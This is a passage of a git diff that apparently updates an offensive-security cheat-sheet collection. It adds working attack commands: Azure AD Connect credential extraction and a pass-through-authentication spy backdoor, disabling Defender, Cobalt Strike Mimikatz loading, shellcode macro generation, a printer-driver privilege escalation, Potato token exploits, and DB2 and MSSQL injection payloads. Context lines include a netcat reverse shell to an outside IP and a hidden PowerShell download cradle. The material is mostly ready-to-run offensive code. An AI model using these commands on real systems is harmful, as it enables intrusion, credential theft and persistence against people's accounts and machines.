`6aa89ecb-1f8f-4d92–810d-b0dce30b6c82` is `S-1–12–1–1789435595–1301421967–3702525313–2188119011` -## Azure AD - Sign in with a service principal +## Azure AD Connect -https://docs.microsoft.com/en-us/powershell/azure/authenticate-azureps?view=azps-3.3.0&viewFallbackFrom=azurermps-6.5.0#sign-in-with-a-service-principal +Check if Azure AD Connect is installed : `Get-ADSyncConnector` -:warning: Service Principal accounts do not require MFA. Anyone with control over Service Principals can assign credentials to them and potentially escalate privileges. +* For **PHS**, we can extract the credentials +* For **PTA**, we can install the agent +* For **Federation**, we can extract the certificate from ADFS server using DA -* Password based authentication +```powershell +PS > Set-MpPreference -DisableRealtimeMonitoring $true +PS > Copy-Item -ToSession $adcnct -Path C:\Tools\AADInternals.0.4.5.zip -Destination C:\Users\Administrator\Documents +PS > Expand-Archive C:\Users\Administrator\Documents\AADInternals.0.4.5.zip -DestinationPath C:\Users\Administrator\Documents\AADInternals +PS > Import-Module C:\Users\Administrator\Documents\AADInternals\AADInternals.psd1 +PS > Get-AADIntSyncCredentials +# Get Token for SYNC account and reset on-prem admin password +PS > $passwd = ConvertToSecureString 'password' -AsPlainText -Force +PS > $creds = New-Object System.Management.Automation.PSCredential ("@.onmicrosoft.com", $passwd) +PS > GetAADIntAccessTokenForAADGraph -Credentials $creds –SaveToCache +PS > Get-AADIntUser -UserPrincipalName onpremadmin@defcorpsecure.onmicrosoft.com | select ImmutableId +PS > Set-AADIntUserPassword -SourceAnchor "" -Password "Password" -Verbose +``` + +1. Check if PTA is installed : `Get-Command -Module PassthroughAuthPSModule` +2. Install a PTA Backdoor ```powershell - # Use the service principal ID for the username - $pscredential = Get-Credential - Connect-AzAccount -ServicePrincipal -Credential $pscredential -Tenant $tenantId - ``` -* Certificate based authentication - - ```powershell - Connect-AzAccount -ApplicationId $appId -Tenant $tenantId -CertificateThumbprint + PS AADInternals> Install-AADIntPTASpy + PS AADInternals> Get-AADIntPTASpyLog -DecodePasswords ``` -## Azure AD Connect - Password extraction + +### Azure AD Connect - Password extraction Credentials in AD Sync : C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf @@ -366,11 +1023,11 @@ git clone https://github.com/fox-it/adconnectdump # DCSync with AD Sync account ``` -## Azure AD Connect - MSOL Account's password and DCSync +### Azure AD Connect - MSOL Account's password and DCSync You can perform **DCSync** attack using the MSOL account. -Prerequisite: +Requirements: * Compromise a server with Azure AD Connect service * Access to ADSyncAdmins or local Administrators groups @@ -384,6 +1041,8 @@ Now you can use the retrieved credentials for the MSOL Account to launch a DCSyn > Anyone who can edit properties of the AZUREADSSOACCS$ account can impersonate any user in Azure AD using Kerberos (if no MFA) +> Seamless SSO is supported by both PHS and PTA. If seamless SSO is enabled, a computer account **AZUREADSSOC** is created in the on-prem AD. + :warning: The password of the AZUREADSSOACC account never changes. Using [https://autologon.microsoftazuread-sso.com/](https://autologon.microsoftazuread-sso.com/) to convert Kerberos tickets to SAML and JWT for Office 365 & Azure @@ -406,82 +1065,16 @@ Using [https://autologon.microsoftazuread-sso.com/](https://autologon.microsofta 7. Navigate to any web application that is integrated with our AAD domain. Fill in the user name, while leaving the password field empty. -## Azure AD - ADFS Federation Server ~Cloud Kerberos - -Discover Federation Servers -* adfs -* auth -* fs -* okta -* ping -* sso -* sts - -OWA Version Discovery : autodiscover.domain.com - -## Azure AD - Persistence via Automation accounts - -* Create a new Automation Account - * "Create Azure Run As account": Yes -* Import a new runbook that creates an AzureAD user with Owner permissions for the subscription* - * Sample runbook for this Blog located here – https://github.com/NetSPI/MicroBurst - * Publish the runbook - * Add a webhook to the runbook -* Add the AzureAD module to the Automation account - * Update the Azure Automation Modules -* Assign "User Administrator" and "Subscription Owner" rights to the automation account -* Eventually lose your access… -* Trigger the webhook with a post request to create the new user - ```powershell - $uri = "https://s15events.azure-automation.net/webhooks?token=h6[REDACTED]%3d" - $AccountInfo = @(@{RequestBody=@{Username="BlogDemoUser";Password="Password123"}}) - $body = ConvertTo-Json -InputObject $AccountInfo - $response = Invoke-WebRequest -Method Post -Uri $uri -Body $body - ``` - -## Azure VM - Execute command as NT SYSTEM with Contributor right - -> Allow anyone with "Contributor" rights to run PowerShell scripts on any Azure VM in a subscription as NT Authority\System - -```powershell -PS C:\> Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name - -ResourceGroupName Name ------------------ ---- -TESTRESOURCES Remote-Test -PS C:\> Invoke-AzureRmVMRunCommand -ResourceGroupName TESTRESOURCES -VMName Remote-Test -CommandId RunPowerShellScript -ScriptPath Mimikatz.ps1 -``` - -Against the whole subscription using MicroBurst.ps1 - -```powershell -Import-module MicroBurst.psm1 -Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt -``` - -## Office365 - Enumerating Users - -NOTE: By default, O365 has a lockout policy of 10 tries, and it will lock out an account for one (1) minute. - -* Bruteforce user enum : https://bitbucket.org/grimhacker/office365userenum/src/master/ based on the endpoint https://login.microsoftonline.com/getuserrealm.srf?login=firstname.lastname@domain.com&xml=1 - ```powershell - RealmInfo Success="true"> - 3 - 2 - firstname.lastname@domain.com - Federated - domain.com - -1 - - https://fws.domain.com/o365/visfed/intrdomain/se/?username=firstname.lastname%40domain.com&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx= - - ``` -* Validate email : https://github.com/LMGsec/o365creeper `o365creeper.py -f emails.txt -o validemails.txt` -* Extract email lists with a valid credentials : https://github.com/nyxgeek/o365recon - - ## References +* [Introduction To 365-Stealer - Understanding and Executing the Illicit Consent Grant Attack](https://www.alteredsecurity.com/post/introduction-to-365-stealer) +* [Learn with @trouble1_raunak: Cloud Pentesting - Azure (Illicit Consent Grant Attack) !!](https://www.youtube.com/watch?v=51FSvndgddk&list=WL) +* [Pass-the-PRT attack and detection by Microsoft Defender for … - Derk van der Woude - Jun 9](https://derkvanderwoude.medium.com/pass-the-prt-attack-and-detection-by-microsoft-defender-for-afd7dbe83c94) +* [Azure AD Pass The Certificate - Mor - Aug 19, 2020](https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597) +* [Get Access Tokens for Managed Service Identity on Azure App Service](https://zhiliaxu.github.io/app-service-managed-identity.html) +* [Bypassing conditional access by faking device compliance - September 06, 2020 - @DrAzureAD](https://o365blog.com/post/mdm/) +* [CARTP-cheatsheet - Azure AD cheatsheet for the CARTP course](https://github.com/0xJs/CARTP-cheatsheet/blob/main/Authenticated-enumeration.md) +* [Get-AzurePasswords: A Tool for Dumping Credentials from Azure Subscriptions - August 28, 2018 - Karl Fosaaen](https://www.netspi.com/blog/technical/cloud-penetration-testing/get-azurepasswords/) * [An introduction to penetration testing Azure - Graceful Security](https://www.gracefulsecurity.com/an-introduction-to-penetration-testing-azure/) * [Running Powershell scripts on Azure VM - Netspi](https://blog.netspi.com/running-powershell-scripts-on-azure-vms/) * [Attacking Azure Cloud shell - Netspi](https://blog.netspi.com/attacking-azure-cloud-shell/) diff --git a/Methodology and Resources/Cobalt Strike - Cheatsheet.md b/Methodology and Resources/Cobalt Strike - Cheatsheet.md index 07742da..782e920 100644 --- a/Methodology and Resources/Cobalt Strike - Cheatsheet.md +++ b/Methodology and Resources/Cobalt Strike - Cheatsheet.md @@ -36,6 +36,7 @@ $ powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstri * [Persistence Kit](#persistence-kit) * [Resource Kit](#resource-kit) * [Artifact Kit](#artifact-kit) + * [Mimikatz Kit](#mimikatz-kit) * [References](#references) @@ -402,6 +403,8 @@ beacon> spunnel_local x64 127.0.0.1 4444 C:\Payloads\msf.bin ## Kits +* [Cobalt Strike Community Kit](https://cobalt-strike.github.io/community_kit/) - Community Kit is a central repository of extensions written by the user community to extend the capabilities of Cobalt Strike + ### Elevate Kit UAC Token Duplication : Fixed in Windows 10 Red Stone 5 (October 2018) @@ -463,6 +466,12 @@ Artifact Kit (Cobalt Strike 4.0) - https://www.youtube.com/watch?v=6mC21kviwG4 : - Build the Artifact - Cobalt Strike -> Script Manager > Load .cna +### Mimikatz Kit + +* Download and extract the .tgz from the Arsenal (Note: The version uses the Mimikatz release version naming (i.e., 2.2.0.20210724) +* Load the mimikatz.cna aggressor script +* Use mimikatz functions as normal + ## References * [Red Team Ops with Cobalt Strike (1 of 9): Operations](https://www.youtube.com/watch?v=q7VQeK533zI) diff --git a/Methodology and Resources/Office - Attacks.md b/Methodology and Resources/Office - Attacks.md index 9977663..5942322 100644 --- a/Methodology and Resources/Office - Attacks.md +++ b/Methodology and Resources/Office - Attacks.md @@ -17,6 +17,7 @@ * [DCOM - WMI COM functions (VBA AMSI)](#docm---wmi-com-functions) * [DOCM - winmgmts](#docm---winmgmts) * [DOCM - Macro Pack - Macro and DDE](#docmxlm---macro-pack---macro-and-dde) +* [DOCM - BadAssMacros](#docm---badassmacros) * [DOCM - CACTUSTORCH VBA Module](#docm---cactustorch-vba-module) * [DOCM - MMG with Custom DL + Exec](#docm---mmg-with-custom-dl--exec) * [VBA Obfuscation](#vba-obfuscation) @@ -326,8 +327,7 @@ SW.Document.Application.ShellExecute "cmd.exe", "/c powershell.exe", "C:\Windows > Only the community version is available online. -* git clone https://github.com/sevagas/macro_pack -* https://github.com/sevagas/macro_pack/releases/download/v2.0.1/macro_pack.exe +* [https://github.com/sevagas/macro_pack](https://github.com/sevagas/macro_pack/releases/download/v2.0.1/macro_pack.exe) ```powershell # Options @@ -385,6 +385,29 @@ echo "x86.bin" "x64.bin" | macro_pack.exe -t AUTOSHELLCODE -o –autopack -G sc_ echo "http://192.168.5.10:8080/x32calc.bin" "http://192.168.5.10:8080/x64calc.bin" | macro_pack.exe -t DROPPER_SHELLCODE -o --shellcodemethod=ClassicIndirect -G samples\sc_dl.xls ``` +## DOCM - BadAssMacros + +> C# based automated Malicous Macro Generator. + +* https://github.com/Inf0secRabbit/BadAssMacros + +```powershell +BadAssMacros.exe -h + +# Create VBA for classic shellcode injection from raw shellcode +BadAssMacros.exe -i -w -p no -s classic -c -o +BadAssMacros.exe -i .\Desktop\payload.bin -w doc -p no -s classic -c 23 -o .\Desktop\output.txt + +# Create VBA for indirect shellcode injection from raw shellcode +BadAssMacros.exe -i -w -p no -s indirect -o + +# List modules inside Doc/Excel file +BadAssMacros.exe -i -w -p yes -l + +# Purge Doc/Excel file +BadAssMacros.exe -i -w -p yes -o -m +``` + ## DOCM - CACTUSTORCH VBA Module diff --git a/Methodology and Resources/Windows - Mimikatz.md b/Methodology and Resources/Windows - Mimikatz.md index 8711261..176fc6d 100644 --- a/Methodology and Resources/Windows - Mimikatz.md +++ b/Methodology and Resources/Windows - Mimikatz.md @@ -33,6 +33,7 @@ Mimikatz console (multiple commands) ```powershell PS C:\temp\mimikatz> .\mimikatz mimikatz # privilege::debug +mimikatz # log mimikatz # sekurlsa::logonpasswords mimikatz # sekurlsa::wdigest ``` diff --git a/Methodology and Resources/Windows - Persistence.md b/Methodology and Resources/Windows - Persistence.md index 820312e..d9dcc1d 100644 --- a/Methodology and Resources/Windows - Persistence.md +++ b/Methodology and Resources/Windows - Persistence.md @@ -3,6 +3,7 @@ ## Summary * [Tools](#tools) +* [Hide Your Binary](#hide-your-binary) * [Disable Windows Defender](#disable-windows-defender) * [Disable Windows Firewall](#disable-windows-firewall) * [Simple User](#simple-user) @@ -34,6 +35,14 @@ - [SharPersist - Windows persistence toolkit written in C#. - @h4wkst3r](https://github.com/fireeye/SharPersist) +## Hide Your Binary + +> Sets (+) or clears (-) the Hidden file attribute. If a file uses this attribute set, you must clear the attribute before you can change any other attributes for the file. + +```ps1 +PS> attrib +h mimikatz.exe +``` + ## Disable Windows Defender ```powershell diff --git a/Methodology and Resources/Windows - Privilege Escalation.md b/Methodology and Resources/Windows - Privilege Escalation.md index 832ed73..569cff1 100644 --- a/Methodology and Resources/Windows - Privilege Escalation.md +++ b/Methodology and Resources/Windows - Privilege Escalation.md @@ -35,27 +35,32 @@ * [EoP - AlwaysInstallElevated](#eop---alwaysinstallelevated) * [EoP - Insecure GUI apps](#eop---insecure-gui-apps) * [EoP - Evaluating Vulnerable Drivers](#eop---evaluating-vulnerable-drivers) +* [EoP - Printers](#eop-printers) + * [Universal Printer](#universal-printer) + * [Bring Your Own Vulnerability](#bring-your-own-vulnerability) * [EoP - Runas](#eop---runas) * [EoP - Abusing Shadow Copies](#eop---abusing-shadow-copies) * [EoP - From local administrator to NT SYSTEM](#eop---from-local-administrator-to-nt-system) * [EoP - Living Off The Land Binaries and Scripts](#eop---living-off-the-land-binaries-and-scripts) * [EoP - Impersonation Privileges](#eop---impersonation-privileges) - * [Restore A Service Account's Privileges](#restore-a-service-accounts-privileges) - * [Meterpreter getsystem and alternatives](#meterpreter-getsystem-and-alternatives) - * [RottenPotato (Token Impersonation)](#rottenpotato-token-impersonation) - * [Juicy Potato (abusing the golden privileges)](#juicy-potato-abusing-the-golden-privileges) + * [Restore A Service Account's Privileges](#restore-a-service-accounts-privileges) + * [Meterpreter getsystem and alternatives](#meterpreter-getsystem-and-alternatives) + * [RottenPotato (Token Impersonation)](#rottenpotato-token-impersonation) + * [Juicy Potato (Abusing the golden privileges)](#juicy-potato-abusing-the-golden-privileges) + * [Rogue Potato (Fake OXID Resolver)](#rogue-potato-fake-oxid-resolver)) + * [EFSPotato (MS-EFSR EfsRpcOpenFileRaw)](#efspotato-ms-efsr-efsrpcopenfileraw)) * [EoP - Privileged File Write](#eop---privileged-file-write) * [DiagHub](#diaghub) * [UsoDLLLoader](#usodllloader) * [WerTrigger](#wertrigger) * [EoP - Common Vulnerabilities and Exposures](#eop---common-vulnerabilities-and-exposure) - * [MS08-067 (NetAPI)](#ms08-067-netapi) - * [MS10-015 (KiTrap0D)](#ms10-015-kitrap0d---microsoft-windows-nt2000--2003--2008--xp--vista--7) - * [MS11-080 (adf.sys)](#ms11-080-afd.sys---microsoft-windows-xp-2003) - * [MS15-051 (Client Copy Image)](#ms15-051---microsoft-windows-2003--2008--7--8--2012) - * [MS16-032](#ms16-032---microsoft-windows-7--10--2008--2012-r2-x86x64) - * [MS17-010 (Eternal Blue)](#ms17-010-eternal-blue) - * [CVE-2019-1388](#cve-2019-1388) + * [MS08-067 (NetAPI)](#ms08-067-netapi) + * [MS10-015 (KiTrap0D)](#ms10-015-kitrap0d---microsoft-windows-nt2000--2003--2008--xp--vista--7) + * [MS11-080 (adf.sys)](#ms11-080-afd.sys---microsoft-windows-xp-2003) + * [MS15-051 (Client Copy Image)](#ms15-051---microsoft-windows-2003--2008--7--8--2012) + * [MS16-032](#ms16-032---microsoft-windows-7--10--2008--2012-r2-x86x64) + * [MS17-010 (Eternal Blue)](#ms17-010-eternal-blue) + * [CVE-2019-1388](#cve-2019-1388) * [EoP - $PATH Interception](#eop---path-interception) * [References](#references) @@ -950,6 +955,67 @@ Citrix USB Filter Driver ``` +## EoP - Printers + +### Universal Printer + +Create a Printer + +```ps1 +$printerName = 'Universal Priv Printer' +$system32 = $env:systemroot + '\system32' +$drivers = $system32 + '\spool\drivers' +$RegStartPrinter = 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Printers\' + $printerName + +Copy-Item -Force -Path ($system32 + '\mscms.dll') -Destination ($system32 + '\mimispool.dll') +Copy-Item -Force -Path '.\mimikatz_trunk\x64\mimispool.dll' -Destination ($drivers + '\x64\3\mimispool.dll') +Copy-Item -Force -Path '.\mimikatz_trunk\win32\mimispool.dll' -Destination ($drivers + '\W32X86\3\mimispool.dll') + +Add-PrinterDriver -Name 'Generic / Text Only' +Add-Printer -DriverName 'Generic / Text Only' -Name $printerName -PortName 'FILE:' -Shared + +New-Item -Path ($RegStartPrinter + '\CopyFiles') | Out-Null +New-Item -Path ($RegStartPrinter + '\CopyFiles\Kiwi') | Out-Null +New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi') -Name 'Directory' -PropertyType 'String' -Value 'x64\3' | Out-Null +New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi') -Name 'Files' -PropertyType 'MultiString' -Value ('mimispool.dll') | Out-Null +New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi') -Name 'Module' -PropertyType 'String' -Value 'mscms.dll' | Out-Null +New-Item -Path ($RegStartPrinter + '\CopyFiles\Litchi') | Out-Null +New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Litchi') -Name 'Directory' -PropertyType 'String' -Value 'W32X86\3' | Out-Null +New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Litchi') -Name 'Files' -PropertyType 'MultiString' -Value ('mimispool.dll') | Out-Null +New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Litchi') -Name 'Module' -PropertyType 'String' -Value 'mscms.dll' | Out-Null +New-Item -Path ($RegStartPrinter + '\CopyFiles\Mango') | Out-Null +New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango') -Name 'Directory' -PropertyType 'String' -Value $null | Out-Null +New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango') -Name 'Files' -PropertyType 'MultiString' -Value $null | Out-Null +New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango') -Name 'Module' -PropertyType 'String' -Value 'mimispool.dll' | Out-Null +``` + +Execute the driver + +```ps1 +$serverName = 'dc.purple.lab' +$printerName = 'Universal Priv Printer' +$fullprinterName = '\\' + $serverName + '\' + $printerName + ' - ' + $(If ([System.Environment]::Is64BitOperatingSystem) {'x64'} Else {'x86'}) +Remove-Printer -Name $fullprinterName -ErrorAction SilentlyContinue +Add-Printer -ConnectionName $fullprinterName +``` + +### Bring Your Own Vulnerability + +Concealed Position : https://github.com/jacob-baines/concealed_position + +* ACIDDAMAGE - [CVE-2021-35449](https://nvd.nist.gov/vuln/detail/CVE-2021-35449) - Lexmark Universal Print Driver LPE +* RADIANTDAMAGE - [CVE-2021-38085](https://nvd.nist.gov/vuln/detail/CVE-2021-38085) - Canon TR150 Print Driver LPE +* POISONDAMAGE - [CVE-2019-19363](https://nvd.nist.gov/vuln/detail/CVE-2019-19363) - Ricoh PCL6 Print Driver LPE +* SLASHINGDAMAGE - [CVE-2020-1300](https://nvd.nist.gov/vuln/detail/CVE-2020-1300) - Windows Print Spooler LPE + +```powershell +cp_server.exe -e ACIDDAMAGE +# Get-Printer +# Set the "Advanced Sharing Settings" -> "Turn off password protected sharing" +cp_client.exe -r 10.0.0.9 -n ACIDDAMAGE -e ACIDDAMAGE +cp_client.exe -l -e ACIDDAMAGE +``` + ## EoP - Runas Use the `cmdkey` to list the stored credentials on the machine. @@ -1068,7 +1134,6 @@ SeIncreaseWorkingSetPrivilege Increase a process working set Enabled c:\TOOLS>FullPowers -c "C:\TOOLS\nc64.exe 1.2.3.4 1337 -e cmd" -z ``` - ### Meterpreter getsystem and alternatives ```powershell @@ -1081,8 +1146,8 @@ python getsystem.py # from https://github.com/sailay1996/tokenx_privEsc ### RottenPotato (Token Impersonation) -Binary available at : https://github.com/foxglovesec/RottenPotato -Binary available at : https://github.com/breenmachine/RottenPotatoNG +* Binary available at : https://github.com/foxglovesec/RottenPotato +* Binary available at : https://github.com/breenmachine/RottenPotatoNG ```c getuid @@ -1101,10 +1166,12 @@ Get-Process wininit | Invoke-TokenManipulation -CreateProcess "Powershell.exe -n ``` -### Juicy Potato (abusing the golden privileges) +### Juicy Potato (Abusing the golden privileges) -Binary available at : https://github.com/ohpe/juicy-potato/releases -:warning: Juicy Potato doesn't work on Windows Server 2019 and Windows 10 1809 +. +> If the machine is **>= Windows 10 1809 & Windows Server 2019** - Try **Rogue Potato** +> If the machine is **< Windows 10 1809 < Windows Server 2019** - Try **Juicy Potato** + +* Binary available at : https://github.com/ohpe/juicy-potato/releases 1. Check the privileges of the service account, you should look for **SeImpersonate** and/or **SeAssignPrimaryToken** (Impersonate a client after authentication) @@ -1135,6 +1202,39 @@ Binary available at : https://github.com/ohpe/juicy-potato/releases [+] CreateProcessWithTokenW OK ``` +### Rogue Potato (Fake OXID Resolver) + +* Binary available at https://github.com/antonioCoco/RoguePotato + +```powershell +# Network redirector / port forwarder to run on your remote machine, must use port 135 as src port +socat tcp-listen:135,reuseaddr,fork tcp:10.0.0.3:9999 + +# RoguePotato without running RogueOxidResolver locally. You should run the RogueOxidResolver.exe on your remote machine. +# Use this if you have fw restrictions. +RoguePotato.exe -r 10.0.0.3 -e "C:\windows\system32\cmd.exe" + +# RoguePotato all in one with RogueOxidResolver running locally on port 9999 +RoguePotato.exe -r 10.0.0.3 -e "C:\windows\system32\cmd.exe" -l 9999 + +#RoguePotato all in one with RogueOxidResolver running locally on port 9999 and specific clsid and custom pipename +RoguePotato.exe -r 10.0.0.3 -e "C:\windows\system32\cmd.exe" -l 9999 -c "{6d8ff8e1-730d-11d4-bf42-00b0d0118b56}" -p splintercode +``` + +### EFSPotato (MS-EFSR EfsRpcOpenFileRaw) + +* Binary available at https://github.com/zcgonvh/EfsPotato + +```powershell +# .NET 4.x +csc EfsPotato.cs +csc /platform:x86 EfsPotato.cs + +# .NET 2.0/3.5 +C:\Windows\Microsoft.Net\Framework\V3.5\csc.exe EfsPotato.cs +C:\Windows\Microsoft.Net\Framework\V3.5\csc.exe /platform:x86 EfsPotato.cs +``` + ## EoP - Privileged File Write @@ -1349,3 +1449,4 @@ Detailed information about the vulnerability : https://www.zerodayinitiative.com * [Weaponizing Privileged File Writes with the USO Service - Part 2/2 - itm4n - August 19, 2019](https://itm4n.github.io/usodllloader-part2/) * [Hacking Trick: Environment Variable $Path Interception y Escaladas de Privilegios para Windows](https://www.elladodelmal.com/2020/03/hacking-trick-environment-variable-path.html?m=1) * [Abusing SeLoadDriverPrivilege for privilege escalation - 14 - JUN - 2018 - OSCAR MALLO](https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/) +* [Universal Privilege Escalation and Persistence – Printer - AUGUST 2, 2021)](https://pentestlab.blog/2021/08/02/universal-privilege-escalation-and-persistence-printer/) \ No newline at end of file diff --git a/SQL Injection/DB2 Injection.md b/SQL Injection/DB2 Injection.md new file mode 100644 index 0000000..ad0be93 --- /dev/null +++ b/SQL Injection/DB2 Injection.md @@ -0,0 +1,208 @@ +# DB2 Injection + +> + +## Summary + +* [DB2 Cheatsheet](#db2-cheatsheet) +* [References](#references) + +## DB2 Cheatsheet + +### Version + +```sql +select versionnumber, version_timestamp from sysibm.sysversions; +select service_level from table(sysproc.env_get_inst_info()) as instanceinfo +select getvariable('sysibm.version') from sysibm.sysdummy1 -- (v8+) +select prod_release,installed_prod_fullname from table(sysproc.env_get_prod_info()) as productinfo +select service_level,bld_level from sysibmadm.env_inst_info +``` + +### Comments + +```sql +select blah from foo -- comment like this (double dash) +``` + +### Current User + +```sql +select user from sysibm.sysdummy1 +select session_user from sysibm.sysdummy1 +select system_user from sysibm.sysdummy1 +``` + +### List Users + +DB2 uses OS accounts + +```sql +select distinct(authid) from sysibmadm.privileges -- priv required +select grantee from syscat.dbauth -- incomplete results +select distinct(definer) from syscat.schemata -- more accurate +select distinct(grantee) from sysibm.systabauth -- same as previous +``` + +### List Privileges + +```sql +select * from syscat.tabauth -- shows priv on tables +select * from syscat.tabauth where grantee = current user -- shows privs for current user +select * from syscat.dbauth where grantee = current user;; +select * from SYSIBM.SYSUSERAUTH — List db2 system privilegies +``` + +### List DBA Accounts + +```sql +select distinct(grantee) from sysibm.systabauth where CONTROLAUTH='Y' +select name from SYSIBM.SYSUSERAUTH where SYSADMAUTH = ‘Y’ or SYSADMAUTH = ‘G’ +``` + +### Current Database + +```sql +select current server from sysibm.sysdummy1 +``` + +### List Databases + +```sql +select distinct(table_catalog) from sysibm.tables +SELECT schemaname FROM syscat.schemata; +``` + +### List Columns + +```sql +select name, tbname, coltype from sysibm.syscolumns -- also valid syscat and sysstat +``` + +### List Tables + +```sql +select table_name from sysibm.tables +select name from sysibm.systables +``` + +### Find Tables From Column Name + +```sql +select tbname from sysibm.syscolumns where name='username' +``` + +### Select Nth Row + +```sql +select name from (select * from sysibm.systables order by name asc fetch first N rows only) order by name desc fetch first row only +``` + +### Select Nth Char + +```sql +select substr('abc',2,1) FROM sysibm.sysdummy1 -- returns b +``` + +### Bitwise AND/OR/NOT/XOR + +```sql +select bitand(1,0) from sysibm.sysdummy1 -- returns 0. Also available bitandnot, bitor, bitxor, bitnot +``` + +### ASCII Value + +```sql +Char select chr(65) from sysibm.sysdummy1 -- returns 'A' +``` + +### Char -> ASCII Value + +```sql +select ascii('A') from sysibm.sysdummy1 -- returns 65 +``` + +### Casting + +```sql +select cast('123' as integer) from sysibm.sysdummy1 +select cast(1 as char) from sysibm.sysdummy1 +``` + +### String Concat + +```sql +select 'a' concat 'b' concat 'c' from sysibm.sysdummy1 -- returns 'abc' +select 'a' || 'b' from sysibm.sysdummy1 -- returns 'ab' +``` + + +### IF Statement +Seems only allowed in stored procedures. Use case logic instead. + +### Case Statement + +```sql +select CASE WHEN (1=1) THEN 'AAAAAAAAAA' ELSE 'BBBBBBBBBB' END from sysibm.sysdummy1 +``` + + +### Avoiding Quotes + +```sql +SELECT chr(65)||chr(68)||chr(82)||chr(73) FROM sysibm.sysdummy1 -- returns “ADRI”. Works without select too +``` + +### Time Delay + +Heavy queries, for example: If user starts with ascii 68 ('D'), the heavy query will be executed, delaying the response. +However, if user doesn't start with ascii 68, the heavy query won't execute and thus the response will be faster. +```sql +' and (SELECT count(*) from sysibm.columns t1, sysibm.columns t2, sysibm.columns t3)>0 and (select ascii(substr(user,1,1)) from sysibm.sysdummy1)=68 +``` + +### Serialize to XML (for error based) + +```sql +select xmlagg(xmlrow(table_schema)) from sysibm.tables -- returns all in one xml-formatted string +select xmlagg(xmlrow(table_schema)) from (select distinct(table_schema) from sysibm.tables) -- Same but without repeated elements +select xml2clob(xmelement(name t, table_schema)) from sysibm.tables -- returns all in one xml-formatted string (v8). May need CAST(xml2clob(… AS varchar(500)) to display the result. +``` + +### Command Execution and Local File Access + +Seems it's only allowed from procedures or UDFs. + +### Hostname/IP and OS INFO + +```sql +select os_name,os_version,os_release,host_name from sysibmadm.env_sys_info -- requires priv +``` + +### Location of DB Files + +```sql +select * from sysibmadm.reg_variables where reg_var_name='DB2PATH' -- requires priv +``` + +### System Config + +```sql +select dbpartitionnum, name, value from sysibmadm.dbcfg where name like 'auto_%' -- Requires priv. Retrieve the automatic maintenance settings in the database configuration that are stored in memory for all database partitions. +select name, deferred_value, dbpartitionnum from sysibmadm.dbcfg -- Requires priv. Retrieve all the database configuration parameters values stored on disk for all database partitions. +``` + +### Default System Database + +* SYSIBM +* SYSCAT +* SYSSTAT +* SYSPUBLIC +* SYSIBMADM +* SYSTOOLs + + +## References + +* [DB2 SQL injection cheat sheet - Adrián - 20/05/2012](https://securityetalii.es/2012/05/20/db2-sql-injection-cheat-sheet/) +* [DB2 SQL Injection Cheat Sheet - pentestmonkey](http://pentestmonkey.net/cheat-sheet/sql-injection/db2-sql-injection-cheat-sheet) \ No newline at end of file diff --git a/SQL Injection/MSSQL Injection.md b/SQL Injection/MSSQL Injection.md index e953694..e11fca5 100644 --- a/SQL Injection/MSSQL Injection.md +++ b/SQL Injection/MSSQL Injection.md @@ -2,9 +2,11 @@ ## Summary -* [MSSQL comments](#mssql-comments) -* [MSSQL version](#mssql-version) -* [MSSQL database name](#mssql-database-name) +* [MSSQL Comments](#mssql-comments) +* [MSSQL User](#mssql-user) +* [MSSQL Version](#mssql-version) +* [MSSQL Hostname](#mssql-hostname) +* [MSSQL Database name](#mssql-database-name) * [MSSQL List databases](#mssql-list-databases) * [MSSQL List columns](#mssql-list-columns) * [MSSQL List tables](#mssql-list-tables) @@ -22,7 +24,7 @@ * [MSSQL Make user DBA](#mssql-make-user-dba-db-admin) * [MSSQL Trusted Links](#mssql-trusted-links) -## MSSQL comments +## MSSQL Comments ```sql -- comment goes here @@ -33,6 +35,9 @@ ```sql SELECT CURRENT_USER +SELECT user_name(); +SELECT system_user; +SELECT user; ``` ## MSSQL version @@ -41,7 +46,14 @@ SELECT CURRENT_USER SELECT @@version ``` -## MSSQL database name +## MSSQL Hostname + +```sql +SELECT HOST_NAME() +SELECT @@hostname; +``` + +## MSSQL Database name ```sql SELECT DB_NAME() @@ -122,6 +134,13 @@ For string inputs : ' + cast((SELECT @@version) as int) + ' ## MSSQL Blind based ```sql +AND LEN(SELECT TOP 1 username FROM tblusers)=5 ; -- - + +AND ASCII(SUBSTRING(SELECT TOP 1 username FROM tblusers),1,1)=97 +AND UNICODE(SUBSTRING((SELECT 'A'),1,1))>64-- + +AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>90 + SELECT @@version WHERE @@version LIKE '%12.0.2000.8%' WITH data AS (SELECT (ROW_NUMBER() OVER (ORDER BY message)) as row,* FROM log_table) @@ -283,4 +302,5 @@ EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT * [MSSQL Trusted Links - HackTricks.xyz](https://book.hacktricks.xyz/windows/active-directory-methodology/mssql-trusted-links) * [SQL Server – Link… Link… Link… and Shell: How to Hack Database Links in SQL Server! - Antti Rantasaari - June 6th, 2013](https://blog.netspi.com/how-to-hack-database-links-in-sql-server/) * [DAFT: Database Audit Framework & Toolkit - NetSPI](https://github.com/NetSPI/DAFT) -* [SQL Server UNC Path Injection Cheatsheet - nullbind](https://gist.github.com/nullbind/7dfca2a6309a4209b5aeef181b676c6e) \ No newline at end of file +* [SQL Server UNC Path Injection Cheatsheet - nullbind](https://gist.github.com/nullbind/7dfca2a6309a4209b5aeef181b676c6e) +* [Full MSSQL Injection PWNage - 